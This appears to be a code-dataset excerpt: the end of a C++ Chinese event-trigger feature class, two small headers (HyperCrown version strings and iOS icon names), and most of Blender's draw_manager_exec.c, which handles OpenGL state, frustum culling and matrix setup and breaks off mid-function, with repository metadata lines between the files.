ChineseETContainsCharFeatureType() : EventTriggerFeatureType(Symbol(L"contains-char")) {}
virtual DTFeature *makeEmptyFeature() const {
return _new DTBigramFeature(this, SymbolConstants::nullSymbol,
SymbolConstants::nullSymbol);
}
virtual int extractFeatures(const DTState &state,
DTFeature **resultArray) const
{
EventTriggerObservation *o = static_cast<EventTriggerObservation*>(
state.getObservation(0));
Symbol word = o->getWord();
const wchar_t* str = word.to_string();
int len = static_cast<int>(wcslen(str));
for (int i = 0; i < len; i++) {
resultArray[i] = _new DTBigramFeature(this, state.getTag(),
Symbol(&(str[i])));
}
return len;
}
};
#endif
| 29.777778 | 91 | 0.725373 |
325043ac087310229cb7918cfc51232434a2bc2c | 101 | h | C | HyperCrown/progDetails.h | Some1fromthedark/Hypercrown | 67b055672c739504f4a566ad2d185e83f83f366f | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | 4 | 2019-03-23T01:44:25.000Z | 2021-05-03T07:28:30.000Z | HyperCrown/progDetails.h | Some1fromthedark/Hypercrown | 67b055672c739504f4a566ad2d185e83f83f366f | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | null | null | null | HyperCrown/progDetails.h | Some1fromthedark/Hypercrown | 67b055672c739504f4a566ad2d185e83f83f366f | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | null | null | null | #pragma once
const string prog = "Hypercrown", tool_author = "Some1fromthedark", version = "0.1.4";
| 25.25 | 86 | 0.712871 |
190754f208cf6a6e6d58c312e1b3e83833c9c85d | 1,414 | h | C | Thermometer/Thermometer/Supporting Files/TEMP-IconHeader.h | MilkHeart/Thermometer | 961ed0ba49dab8d7cffbf8c5d469d1b4ed0b2a13 | [
"MIT"
] | null | null | null | Thermometer/Thermometer/Supporting Files/TEMP-IconHeader.h | MilkHeart/Thermometer | 961ed0ba49dab8d7cffbf8c5d469d1b4ed0b2a13 | [
"MIT"
] | null | null | null | Thermometer/Thermometer/Supporting Files/TEMP-IconHeader.h | MilkHeart/Thermometer | 961ed0ba49dab8d7cffbf8c5d469d1b4ed0b2a13 | [
"MIT"
] | null | null | null |
//
// TEMP-IconHeader.h
// Thermometer
//
// Created by milk on 2017/3/24.
// Copyright © 2017年 milk. All rights reserved.
//
#ifndef TEMP_IconHeader_h
#define TEMP_IconHeader_h
/** UIViewBG **/
#define ICON_BG @"bgImage.JPG"
#define ICON_BG1 @"bgImage1.png"
#define ICON_BG2 @"bgImage2.png"
#define ICON_BG3 @"bgImage3.png"
#define ICON_BG4 @"bgImage4.png"
#define ICON_BG_Login @"bgLoginImage.png"
/** UIButton **/
#define ICON_Button_Field_delete @"Button_Field_Delete.png"
#define ICON_Button_Field_delete1 @"Button_Field_Delete1.png"
#define ICON_Field_secureEntry_NO @"Button_Field_secureEntry_NO.png"
#define ICON_Field_secureEntry_YES @"Button_Field_secureEntry_YES.png"
#define ICON_Button_Add_Portrait @"Button_Add_Portrait.png"
/** UITabbar **/
#define ICON_Tabbar_home @"Tabbar_home.png"
#define ICON_Tabbar_calendar @"Tabbar_calendar.png"
#define ICON_Tabbar_chart @"Tabbar_chart.png"
#define ICON_Tabbar_me @"Tabbar_me.png"
/** Login **/
#define ICON_Default_Portrait @"Login_Default_Portrait.png"
#endif /* TEMP_IconHeader_h */
| 37.210526 | 83 | 0.580622 |
c5e3ecd0752e6f310228b6058be78359d1a43cd4 | 44,996 | c | C | source/blender/draw/intern/draw_manager_exec.c | mmk-code/blender | c8fc23fdbe09c33f5342ed51735dab50fe4f071b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | source/blender/draw/intern/draw_manager_exec.c | mmk-code/blender | c8fc23fdbe09c33f5342ed51735dab50fe4f071b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | source/blender/draw/intern/draw_manager_exec.c | mmk-code/blender | c8fc23fdbe09c33f5342ed51735dab50fe4f071b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | /*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* Copyright 2016, Blender Foundation.
*/
/** \file
* \ingroup draw
*/
#include "draw_manager.h"
#include "BLI_math_bits.h"
#include "BLI_mempool.h"
#include "BKE_global.h"
#include "GPU_draw.h"
#include "GPU_extensions.h"
#include "intern/gpu_shader_private.h"
#ifdef USE_GPU_SELECT
# include "GPU_select.h"
#endif
#ifdef USE_GPU_SELECT
void DRW_select_load_id(uint id)
{
BLI_assert(G.f & G_FLAG_PICKSEL);
DST.select_id = id;
}
#endif
#define DEBUG_UBO_BINDING
/* -------------------------------------------------------------------- */
/** \name Draw State (DRW_state)
* \{ */
void drw_state_set(DRWState state)
{
if (DST.state == state) {
return;
}
#define CHANGED_TO(f) \
((DST.state_lock & (f)) ? \
0 : \
(((DST.state & (f)) ? ((state & (f)) ? 0 : -1) : ((state & (f)) ? 1 : 0))))
#define CHANGED_ANY(f) (((DST.state & (f)) != (state & (f))) && ((DST.state_lock & (f)) == 0))
#define CHANGED_ANY_STORE_VAR(f, enabled) \
(((DST.state & (f)) != (enabled = (state & (f)))) && (((DST.state_lock & (f)) == 0)))
/* Depth Write */
{
int test;
if ((test = CHANGED_TO(DRW_STATE_WRITE_DEPTH))) {
if (test == 1) {
glDepthMask(GL_TRUE);
}
else {
glDepthMask(GL_FALSE);
}
}
}
/* Color Write */
{
int test;
if ((test = CHANGED_TO(DRW_STATE_WRITE_COLOR))) {
if (test == 1) {
glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE);
}
else {
glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE);
}
}
}
/* Raster Discard */
{
if (CHANGED_ANY(DRW_STATE_RASTERIZER_ENABLED)) {
if ((state & DRW_STATE_RASTERIZER_ENABLED) != 0) {
glDisable(GL_RASTERIZER_DISCARD);
}
else {
glEnable(GL_RASTERIZER_DISCARD);
}
}
}
/* Cull */
{
DRWState test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_CULL_BACK | DRW_STATE_CULL_FRONT, test)) {
if (test) {
glEnable(GL_CULL_FACE);
if ((state & DRW_STATE_CULL_BACK) != 0) {
glCullFace(GL_BACK);
}
else if ((state & DRW_STATE_CULL_FRONT) != 0) {
glCullFace(GL_FRONT);
}
else {
BLI_assert(0);
}
}
else {
glDisable(GL_CULL_FACE);
}
}
}
/* Depth Test */
{
DRWState test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_DEPTH_LESS | DRW_STATE_DEPTH_LESS_EQUAL |
DRW_STATE_DEPTH_EQUAL | DRW_STATE_DEPTH_GREATER |
DRW_STATE_DEPTH_GREATER_EQUAL | DRW_STATE_DEPTH_ALWAYS,
test)) {
if (test) {
glEnable(GL_DEPTH_TEST);
if (state & DRW_STATE_DEPTH_LESS) {
glDepthFunc(GL_LESS);
}
else if (state & DRW_STATE_DEPTH_LESS_EQUAL) {
glDepthFunc(GL_LEQUAL);
}
else if (state & DRW_STATE_DEPTH_EQUAL) {
glDepthFunc(GL_EQUAL);
}
else if (state & DRW_STATE_DEPTH_GREATER) {
glDepthFunc(GL_GREATER);
}
else if (state & DRW_STATE_DEPTH_GREATER_EQUAL) {
glDepthFunc(GL_GEQUAL);
}
else if (state & DRW_STATE_DEPTH_ALWAYS) {
glDepthFunc(GL_ALWAYS);
}
else {
BLI_assert(0);
}
}
else {
glDisable(GL_DEPTH_TEST);
}
}
}
/* Wire Width */
{
int test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_WIRE | DRW_STATE_WIRE_WIDE | DRW_STATE_WIRE_SMOOTH,
test)) {
if (test & DRW_STATE_WIRE_WIDE) {
GPU_line_width(3.0f);
}
else if (test & DRW_STATE_WIRE_SMOOTH) {
GPU_line_width(2.0f);
GPU_line_smooth(true);
}
else if (test & DRW_STATE_WIRE) {
GPU_line_width(1.0f);
}
else {
GPU_line_width(1.0f);
GPU_line_smooth(false);
}
}
}
/* Points Size */
{
int test;
if ((test = CHANGED_TO(DRW_STATE_POINT))) {
if (test == 1) {
GPU_enable_program_point_size();
glPointSize(5.0f);
}
else {
GPU_disable_program_point_size();
}
}
}
/* Blending (all buffer) */
{
int test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_BLEND | DRW_STATE_BLEND_PREMUL | DRW_STATE_ADDITIVE |
DRW_STATE_MULTIPLY | DRW_STATE_ADDITIVE_FULL |
DRW_STATE_BLEND_OIT,
test)) {
if (test) {
glEnable(GL_BLEND);
if ((state & DRW_STATE_BLEND) != 0) {
glBlendFuncSeparate(GL_SRC_ALPHA,
GL_ONE_MINUS_SRC_ALPHA, /* RGB */
GL_ONE,
GL_ONE_MINUS_SRC_ALPHA); /* Alpha */
}
else if ((state & DRW_STATE_BLEND_PREMUL) != 0) {
glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
}
else if ((state & DRW_STATE_MULTIPLY) != 0) {
glBlendFunc(GL_DST_COLOR, GL_ZERO);
}
else if ((state & DRW_STATE_BLEND_OIT) != 0) {
glBlendFuncSeparate(GL_ONE,
GL_ONE, /* RGB */
GL_ZERO,
GL_ONE_MINUS_SRC_ALPHA); /* Alpha */
}
else if ((state & DRW_STATE_ADDITIVE) != 0) {
/* Do not let alpha accumulate but premult the source RGB by it. */
glBlendFuncSeparate(GL_SRC_ALPHA,
GL_ONE, /* RGB */
GL_ZERO,
GL_ONE); /* Alpha */
}
else if ((state & DRW_STATE_ADDITIVE_FULL) != 0) {
/* Let alpha accumulate. */
glBlendFunc(GL_ONE, GL_ONE);
}
else {
BLI_assert(0);
}
}
else {
glDisable(GL_BLEND);
glBlendFunc(GL_ONE, GL_ONE); /* Don't multiply incoming color by alpha. */
}
}
}
/* Clip Planes */
{
int test;
if ((test = CHANGED_TO(DRW_STATE_CLIP_PLANES))) {
if (test == 1) {
for (int i = 0; i < DST.clip_planes_len; ++i) {
glEnable(GL_CLIP_DISTANCE0 + i);
}
}
else {
for (int i = 0; i < MAX_CLIP_PLANES; ++i) {
glDisable(GL_CLIP_DISTANCE0 + i);
}
}
}
}
/* Stencil */
{
DRWState test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_WRITE_STENCIL | DRW_STATE_WRITE_STENCIL_SHADOW_PASS |
DRW_STATE_WRITE_STENCIL_SHADOW_FAIL | DRW_STATE_STENCIL_EQUAL |
DRW_STATE_STENCIL_NEQUAL,
test)) {
if (test) {
glEnable(GL_STENCIL_TEST);
/* Stencil Write */
if ((state & DRW_STATE_WRITE_STENCIL) != 0) {
glStencilMask(0xFF);
glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE);
}
else if ((state & DRW_STATE_WRITE_STENCIL_SHADOW_PASS) != 0) {
glStencilMask(0xFF);
glStencilOpSeparate(GL_BACK, GL_KEEP, GL_KEEP, GL_INCR_WRAP);
glStencilOpSeparate(GL_FRONT, GL_KEEP, GL_KEEP, GL_DECR_WRAP);
}
else if ((state & DRW_STATE_WRITE_STENCIL_SHADOW_FAIL) != 0) {
glStencilMask(0xFF);
glStencilOpSeparate(GL_BACK, GL_KEEP, GL_DECR_WRAP, GL_KEEP);
glStencilOpSeparate(GL_FRONT, GL_KEEP, GL_INCR_WRAP, GL_KEEP);
}
/* Stencil Test */
else if ((state & (DRW_STATE_STENCIL_EQUAL | DRW_STATE_STENCIL_NEQUAL)) != 0) {
glStencilMask(0x00); /* disable write */
DST.stencil_mask = STENCIL_UNDEFINED;
}
else {
BLI_assert(0);
}
}
else {
/* disable write & test */
DST.stencil_mask = 0;
glStencilMask(0x00);
glStencilFunc(GL_ALWAYS, 0, 0xFF);
glDisable(GL_STENCIL_TEST);
}
}
}
/* Provoking Vertex */
{
int test;
if ((test = CHANGED_TO(DRW_STATE_FIRST_VERTEX_CONVENTION))) {
if (test == 1) {
glProvokingVertex(GL_FIRST_VERTEX_CONVENTION);
}
else {
glProvokingVertex(GL_LAST_VERTEX_CONVENTION);
}
}
}
/* Polygon Offset */
{
int test;
if (CHANGED_ANY_STORE_VAR(DRW_STATE_OFFSET_POSITIVE | DRW_STATE_OFFSET_NEGATIVE, test)) {
if (test) {
glEnable(GL_POLYGON_OFFSET_FILL);
glEnable(GL_POLYGON_OFFSET_LINE);
glEnable(GL_POLYGON_OFFSET_POINT);
/* Stencil Write */
if ((state & DRW_STATE_OFFSET_POSITIVE) != 0) {
glPolygonOffset(1.0f, 1.0f);
}
else if ((state & DRW_STATE_OFFSET_NEGATIVE) != 0) {
glPolygonOffset(-1.0f, -1.0f);
}
else {
BLI_assert(0);
}
}
else {
glDisable(GL_POLYGON_OFFSET_FILL);
glDisable(GL_POLYGON_OFFSET_LINE);
glDisable(GL_POLYGON_OFFSET_POINT);
}
}
}
#undef CHANGED_TO
#undef CHANGED_ANY
#undef CHANGED_ANY_STORE_VAR
DST.state = state;
}
static void drw_stencil_set(uint mask)
{
if (DST.stencil_mask != mask) {
DST.stencil_mask = mask;
/* Stencil Write */
if ((DST.state & DRW_STATE_WRITE_STENCIL) != 0) {
glStencilFunc(GL_ALWAYS, mask, 0xFF);
}
/* Stencil Test */
else if ((DST.state & DRW_STATE_STENCIL_EQUAL) != 0) {
glStencilFunc(GL_EQUAL, mask, 0xFF);
}
else if ((DST.state & DRW_STATE_STENCIL_NEQUAL) != 0) {
glStencilFunc(GL_NOTEQUAL, mask, 0xFF);
}
}
}
/* Reset state to not interfer with other UI drawcall */
void DRW_state_reset_ex(DRWState state)
{
DST.state = ~state;
drw_state_set(state);
}
/**
* Use with care, intended so selection code can override passes depth settings,
* which is important for selection to work properly.
*
* Should be set in main draw loop, cleared afterwards
*/
void DRW_state_lock(DRWState state)
{
DST.state_lock = state;
}
void DRW_state_reset(void)
{
DRW_state_reset_ex(DRW_STATE_DEFAULT);
/* Reset blending function */
glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
}
/* NOTE : Make sure to reset after use! */
void DRW_state_invert_facing(void)
{
SWAP(GLenum, DST.backface, DST.frontface);
glFrontFace(DST.frontface);
}
/**
* This only works if DRWPasses have been tagged with DRW_STATE_CLIP_PLANES,
* and if the shaders have support for it (see usage of gl_ClipDistance).
* Be sure to call DRW_state_clip_planes_reset() after you finish drawing.
*/
void DRW_state_clip_planes_len_set(uint plane_len)
{
BLI_assert(plane_len <= MAX_CLIP_PLANES);
DST.clip_planes_len = plane_len;
}
void DRW_state_clip_planes_reset(void)
{
DST.clip_planes_len = 0;
}
void DRW_state_clip_planes_set_from_rv3d(RegionView3D *rv3d)
{
int max_len = 6;
int real_len = (rv3d->viewlock & RV3D_BOXCLIP) ? 4 : max_len;
while (real_len < max_len) {
/* Fill in dummy values that wont change results (6 is hard coded in shaders). */
copy_v4_v4(rv3d->clip[real_len], rv3d->clip[3]);
real_len++;
}
DRW_state_clip_planes_len_set(max_len);
}
/** \} */
/* -------------------------------------------------------------------- */
/** \name Clipping (DRW_clipping)
* \{ */
/* Extract the 8 corners from a Projection Matrix.
* Although less accurate, this solution can be simplified as follows:
* BKE_boundbox_init_from_minmax(&bbox, (const float[3]){-1.0f, -1.0f, -1.0f}, (const float[3]){1.0f, 1.0f, 1.0f});
* for (int i = 0; i < 8; i++) {mul_project_m4_v3(projinv, bbox.vec[i]);}
*/
static void draw_frustum_boundbox_calc(const float (*projmat)[4], BoundBox *r_bbox)
{
float left, right, bottom, top, near, far;
bool is_persp = projmat[3][3] == 0.0f;
projmat_dimensions(projmat, &left, &right, &bottom, &top, &near, &far);
if (is_persp) {
left *= near;
right *= near;
bottom *= near;
top *= near;
}
r_bbox->vec[0][2] = r_bbox->vec[3][2] = r_bbox->vec[7][2] = r_bbox->vec[4][2] = -near;
r_bbox->vec[0][0] = r_bbox->vec[3][0] = left;
r_bbox->vec[4][0] = r_bbox->vec[7][0] = right;
r_bbox->vec[0][1] = r_bbox->vec[4][1] = bottom;
r_bbox->vec[7][1] = r_bbox->vec[3][1] = top;
/* Get the coordinates of the far plane. */
if (is_persp) {
float sca_far = far / near;
left *= sca_far;
right *= sca_far;
bottom *= sca_far;
top *= sca_far;
}
r_bbox->vec[1][2] = r_bbox->vec[2][2] = r_bbox->vec[6][2] = r_bbox->vec[5][2] = -far;
r_bbox->vec[1][0] = r_bbox->vec[2][0] = left;
r_bbox->vec[6][0] = r_bbox->vec[5][0] = right;
r_bbox->vec[1][1] = r_bbox->vec[5][1] = bottom;
r_bbox->vec[2][1] = r_bbox->vec[6][1] = top;
}
static void draw_clipping_setup_from_view(void)
{
if (DST.clipping.updated) {
return;
}
float(*viewinv)[4] = DST.view_data.matstate.mat[DRW_MAT_VIEWINV];
float(*projmat)[4] = DST.view_data.matstate.mat[DRW_MAT_WIN];
float(*projinv)[4] = DST.view_data.matstate.mat[DRW_MAT_WININV];
BoundSphere *bsphere = &DST.clipping.frustum_bsphere;
/* Extract Clipping Planes */
BoundBox bbox;
#if 0 /* It has accuracy problems. */
BKE_boundbox_init_from_minmax(
&bbox, (const float[3]){-1.0f, -1.0f, -1.0f}, (const float[3]){1.0f, 1.0f, 1.0f});
for (int i = 0; i < 8; i++) {
mul_project_m4_v3(projinv, bbox.vec[i]);
}
#else
draw_frustum_boundbox_calc(projmat, &bbox);
#endif
/* Transform into world space. */
for (int i = 0; i < 8; i++) {
mul_m4_v3(viewinv, bbox.vec[i]);
}
memcpy(&DST.clipping.frustum_corners, &bbox, sizeof(BoundBox));
/* Compute clip planes using the world space frustum corners. */
for (int p = 0; p < 6; p++) {
int q, r, s;
switch (p) {
case 0:
q = 1;
r = 2;
s = 3;
break; /* -X */
case 1:
q = 0;
r = 4;
s = 5;
break; /* -Y */
case 2:
q = 1;
r = 5;
s = 6;
break; /* +Z (far) */
case 3:
q = 2;
r = 6;
s = 7;
break; /* +Y */
case 4:
q = 0;
r = 3;
s = 7;
break; /* -Z (near) */
default:
q = 4;
r = 7;
s = 6;
break; /* +X */
}
if (DST.frontface == GL_CW) {
SWAP(int, q, s);
}
normal_quad_v3(
DST.clipping.frustum_planes[p], bbox.vec[p], bbox.vec[q], bbox.vec[r], bbox.vec[s]);
/* Increase precision and use the mean of all 4 corners. */
DST.clipping.frustum_planes[p][3] = -dot_v3v3(DST.clipping.frustum_planes[p], bbox.vec[p]);
DST.clipping.frustum_planes[p][3] += -dot_v3v3(DST.clipping.frustum_planes[p], bbox.vec[q]);
DST.clipping.frustum_planes[p][3] += -dot_v3v3(DST.clipping.frustum_planes[p], bbox.vec[r]);
DST.clipping.frustum_planes[p][3] += -dot_v3v3(DST.clipping.frustum_planes[p], bbox.vec[s]);
DST.clipping.frustum_planes[p][3] *= 0.25f;
}
/* Extract Bounding Sphere */
if (projmat[3][3] != 0.0f) {
/* Orthographic */
/* The most extreme points on the near and far plane. (normalized device coords). */
float *nearpoint = bbox.vec[0];
float *farpoint = bbox.vec[6];
/* just use median point */
mid_v3_v3v3(bsphere->center, farpoint, nearpoint);
bsphere->radius = len_v3v3(bsphere->center, farpoint);
}
else if (projmat[2][0] == 0.0f && projmat[2][1] == 0.0f) {
/* Perspective with symmetrical frustum. */
/* We obtain the center and radius of the circumscribed circle of the
* isosceles trapezoid composed by the diagonals of the near and far clipping plane */
/* center of each clipping plane */
float mid_min[3], mid_max[3];
mid_v3_v3v3(mid_min, bbox.vec[3], bbox.vec[4]);
mid_v3_v3v3(mid_max, bbox.vec[2], bbox.vec[5]);
/* square length of the diagonals of each clipping plane */
float a_sq = len_squared_v3v3(bbox.vec[3], bbox.vec[4]);
float b_sq = len_squared_v3v3(bbox.vec[2], bbox.vec[5]);
/* distance squared between clipping planes */
float h_sq = len_squared_v3v3(mid_min, mid_max);
float fac = (4 * h_sq + b_sq - a_sq) / (8 * h_sq);
/* The goal is to get the smallest sphere,
* not the sphere that passes through each corner */
CLAMP(fac, 0.0f, 1.0f);
interp_v3_v3v3(bsphere->center, mid_min, mid_max, fac);
/* distance from the center to one of the points of the far plane (1, 2, 5, 6) */
bsphere->radius = len_v3v3(bsphere->center, bbox.vec[1]);
}
else {
/* Perspective with asymmetrical frustum. */
/* We put the sphere center on the line that goes from origin
* to the center of the far clipping plane. */
/* Detect which of the corner of the far clipping plane is the farthest to the origin */
float nfar[4]; /* most extreme far point in NDC space */
float farxy[2]; /* farpoint projection onto the near plane */
float farpoint[3] = {0.0f}; /* most extreme far point in camera coordinate */
float nearpoint[3]; /* most extreme near point in camera coordinate */
float farcenter[3] = {0.0f}; /* center of far cliping plane in camera coordinate */
float F = -1.0f, N; /* square distance of far and near point to origin */
float f, n; /* distance of far and near point to z axis. f is always > 0 but n can be < 0 */
float e, s; /* far and near clipping distance (<0) */
float c; /* slope of center line = distance of far clipping center
* to z axis / far clipping distance. */
float z; /* projection of sphere center on z axis (<0) */
/* Find farthest corner and center of far clip plane. */
float corner[3] = {1.0f, 1.0f, 1.0f}; /* in clip space */
for (int i = 0; i < 4; i++) {
float point[3];
mul_v3_project_m4_v3(point, projinv, corner);
float len = len_squared_v3(point);
if (len > F) {
copy_v3_v3(nfar, corner);
copy_v3_v3(farpoint, point);
F = len;
}
add_v3_v3(farcenter, point);
/* rotate by 90 degree to walk through the 4 points of the far clip plane */
float tmp = corner[0];
corner[0] = -corner[1];
corner[1] = tmp;
}
/* the far center is the average of the far clipping points */
mul_v3_fl(farcenter, 0.25f);
/* the extreme near point is the opposite point on the near clipping plane */
copy_v3_fl3(nfar, -nfar[0], -nfar[1], -1.0f);
mul_v3_project_m4_v3(nearpoint, projinv, nfar);
/* this is a frustum projection */
N = len_squared_v3(nearpoint);
e = farpoint[2];
s = nearpoint[2];
/* distance to view Z axis */
f = len_v2(farpoint);
/* get corresponding point on the near plane */
mul_v2_v2fl(farxy, farpoint, s / e);
/* this formula preserve the sign of n */
sub_v2_v2(nearpoint, farxy);
n = f * s / e - len_v2(nearpoint);
c = len_v2(farcenter) / e;
/* the big formula, it simplifies to (F-N)/(2(e-s)) for the symmetric case */
z = (F - N) / (2.0f * (e - s + c * (f - n)));
bsphere->center[0] = farcenter[0] * z / e;
bsphere->center[1] = farcenter[1] * z / e;
bsphere->center[2] = z;
bsphere->radius = len_v3v3(bsphere->center, farpoint);
/* Transform to world space. */
mul_m4_v3(viewinv, bsphere->center);
}
DST.clipping.updated = true;
}
/* Return True if the given BoundSphere intersect the current view frustum */
bool DRW_culling_sphere_test(BoundSphere *bsphere)
{
draw_clipping_setup_from_view();
/* Bypass test if radius is negative. */
if (bsphere->radius < 0.0f) {
return true;
}
/* Do a rough test first: Sphere VS Sphere intersect. */
BoundSphere *frustum_bsphere = &DST.clipping.frustum_bsphere;
float center_dist = len_squared_v3v3(bsphere->center, frustum_bsphere->center);
if (center_dist > SQUARE(bsphere->radius + frustum_bsphere->radius)) {
return false;
}
/* Test against the 6 frustum planes. */
for (int p = 0; p < 6; p++) {
float dist = plane_point_side_v3(DST.clipping.frustum_planes[p], bsphere->center);
if (dist < -bsphere->radius) {
return false;
}
}
return true;
}
/* Return True if the given BoundBox intersect the current view frustum.
* bbox must be in world space. */
bool DRW_culling_box_test(BoundBox *bbox)
{
draw_clipping_setup_from_view();
/* 6 view frustum planes */
for (int p = 0; p < 6; p++) {
/* 8 box vertices. */
for (int v = 0; v < 8; v++) {
float dist = plane_point_side_v3(DST.clipping.frustum_planes[p], bbox->vec[v]);
if (dist > 0.0f) {
/* At least one point in front of this plane.
* Go to next plane. */
break;
}
else if (v == 7) {
/* 8 points behind this plane. */
return false;
}
}
}
return true;
}
/* Return True if the current view frustum is inside or intersect the given plane */
bool DRW_culling_plane_test(float plane[4])
{
draw_clipping_setup_from_view();
/* Test against the 8 frustum corners. */
for (int c = 0; c < 8; c++) {
float dist = plane_point_side_v3(plane, DST.clipping.frustum_corners.vec[c]);
if (dist < 0.0f) {
return true;
}
}
return false;
}
void DRW_culling_frustum_corners_get(BoundBox *corners)
{
draw_clipping_setup_from_view();
memcpy(corners, &DST.clipping.frustum_corners, sizeof(BoundBox));
}
/* See draw_clipping_setup_from_view() for the plane order. */
void DRW_culling_frustum_planes_get(float planes[6][4])
{
draw_clipping_setup_from_view();
memcpy(planes, &DST.clipping.frustum_planes, sizeof(DST.clipping.frustum_planes));
}
/** \} */
/* -------------------------------------------------------------------- */
/** \name Draw (DRW_draw)
* \{ */
static void draw_visibility_eval(DRWCallState *st)
{
bool culled = st->flag & DRW_CALL_CULLED;
if (st->cache_id != DST.state_cache_id) {
/* Update culling result for this view. */
culled = !DRW_culling_sphere_test(&st->bsphere);
}
if (st->visibility_cb) {
culled = !st->visibility_cb(!culled, st->user_data);
}
SET_FLAG_FROM_TEST(st->flag, culled, DRW_CALL_CULLED);
}
static void draw_matrices_model_prepare(DRWCallState *st)
{
if (st->cache_id == DST.state_cache_id) {
/* Values are already updated for this view. */
return;
}
else {
st->cache_id = DST.state_cache_id;
}
/* No need to go further the call will not be used. */
if ((st->flag & DRW_CALL_CULLED) != 0 && (st->flag & DRW_CALL_BYPASS_CULLING) == 0) {
return;
}
/* Order matters */
if (st->matflag &
(DRW_CALL_MODELVIEW | DRW_CALL_MODELVIEWINVERSE | DRW_CALL_NORMALVIEW | DRW_CALL_EYEVEC)) {
mul_m4_m4m4(st->modelview, DST.view_data.matstate.mat[DRW_MAT_VIEW], st->model);
}
if (st->matflag & DRW_CALL_MODELVIEWINVERSE) {
invert_m4_m4(st->modelviewinverse, st->modelview);
}
if (st->matflag & DRW_CALL_MODELVIEWPROJECTION) {
mul_m4_m4m4(st->modelviewprojection, DST.view_data.matstate.mat[DRW_MAT_PERS], st->model);
}
if (st->matflag & (DRW_CALL_NORMALVIEW | DRW_CALL_NORMALVIEWINVERSE | DRW_CALL_EYEVEC)) {
copy_m3_m4(st->normalview, st->modelview);
invert_m3(st->normalview);
transpose_m3(st->normalview);
}
if (st->matflag & (DRW_CALL_NORMALVIEWINVERSE | DRW_CALL_EYEVEC)) {
invert_m3_m3(st->normalviewinverse, st->normalview);
}
/* TODO remove eye vec (unused) */
if (st->matflag & DRW_CALL_EYEVEC) {
/* Used by orthographic wires */
copy_v3_fl3(st->eyevec, 0.0f, 0.0f, 1.0f);
/* set eye vector, transformed to object coords */
mul_m3_v3(st->normalviewinverse, st->eyevec);
}
/* Non view dependent */
if (st->matflag & DRW_CALL_MODELINVERSE) {
invert_m4_m4(st->modelinverse, st->model);
st->matflag &= ~DRW_CALL_MODELINVERSE;
}
if (st->matflag & DRW_CALL_NORMALWORLD) {
copy_m3_m4(st->normalworld, st->model);
invert_m3(st->normalworld);
transpose_m3(st->normalworld);
st->matflag &= ~DRW_CALL_NORMALWORLD;
}
}
static void draw_geometry_prepare(DRWShadingGroup *shgroup, DRWCall *call)
{
/* step 1 : bind object dependent matrices */
if (call != NULL) {
DRWCallState *state = call->state;
float objectinfo[4];
objectinfo[0] = state->objectinfo[0];
objectinfo[1] = call->single.ma_index; /* WATCH this is only valid for single drawcalls. */
objectinfo[2] = state->objectinfo[1];
objectinfo[3] = (state->flag & DRW_CALL_NEGSCALE) ? -1.0f : 1.0f;
GPU_shader_uniform_vector(shgroup->shader, shgroup->model, 16, 1, (float *)state->model);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->modelinverse, 16, 1, (float *)state->modelinverse);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->modelview, 16, 1, (float *)state->modelview);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->modelviewinverse, 16, 1, (float *)state->modelviewinverse);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->modelviewprojection, 16, 1, (float *)state->modelviewprojection);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->normalview, 9, 1, (float *)state->normalview);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->normalviewinverse, 9, 1, (float *)state->normalviewinverse);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->normalworld, 9, 1, (float *)state->normalworld);
GPU_shader_uniform_vector(shgroup->shader, shgroup->objectinfo, 4, 1, (float *)objectinfo);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->orcotexfac, 3, 2, (float *)state->orcotexfac);
GPU_shader_uniform_vector(shgroup->shader, shgroup->eye, 3, 1, (float *)state->eyevec);
}
else {
BLI_assert((shgroup->normalview == -1) && (shgroup->normalworld == -1) &&
(shgroup->eye == -1));
/* For instancing and batching. */
float unitmat[4][4];
unit_m4(unitmat);
GPU_shader_uniform_vector(shgroup->shader, shgroup->model, 16, 1, (float *)unitmat);
GPU_shader_uniform_vector(shgroup->shader, shgroup->modelinverse, 16, 1, (float *)unitmat);
GPU_shader_uniform_vector(shgroup->shader,
shgroup->modelview,
16,
1,
(float *)DST.view_data.matstate.mat[DRW_MAT_VIEW]);
GPU_shader_uniform_vector(shgroup->shader,
shgroup->modelviewinverse,
16,
1,
(float *)DST.view_data.matstate.mat[DRW_MAT_VIEWINV]);
GPU_shader_uniform_vector(shgroup->shader,
shgroup->modelviewprojection,
16,
1,
(float *)DST.view_data.matstate.mat[DRW_MAT_PERS]);
GPU_shader_uniform_vector(shgroup->shader, shgroup->objectinfo, 4, 1, (float *)unitmat);
GPU_shader_uniform_vector(
shgroup->shader, shgroup->orcotexfac, 3, 2, (float *)shgroup->instance_orcofac);
}
}
static void draw_geometry_execute_ex(
DRWShadingGroup *shgroup, GPUBatch *geom, uint start, uint count, bool draw_instance)
{
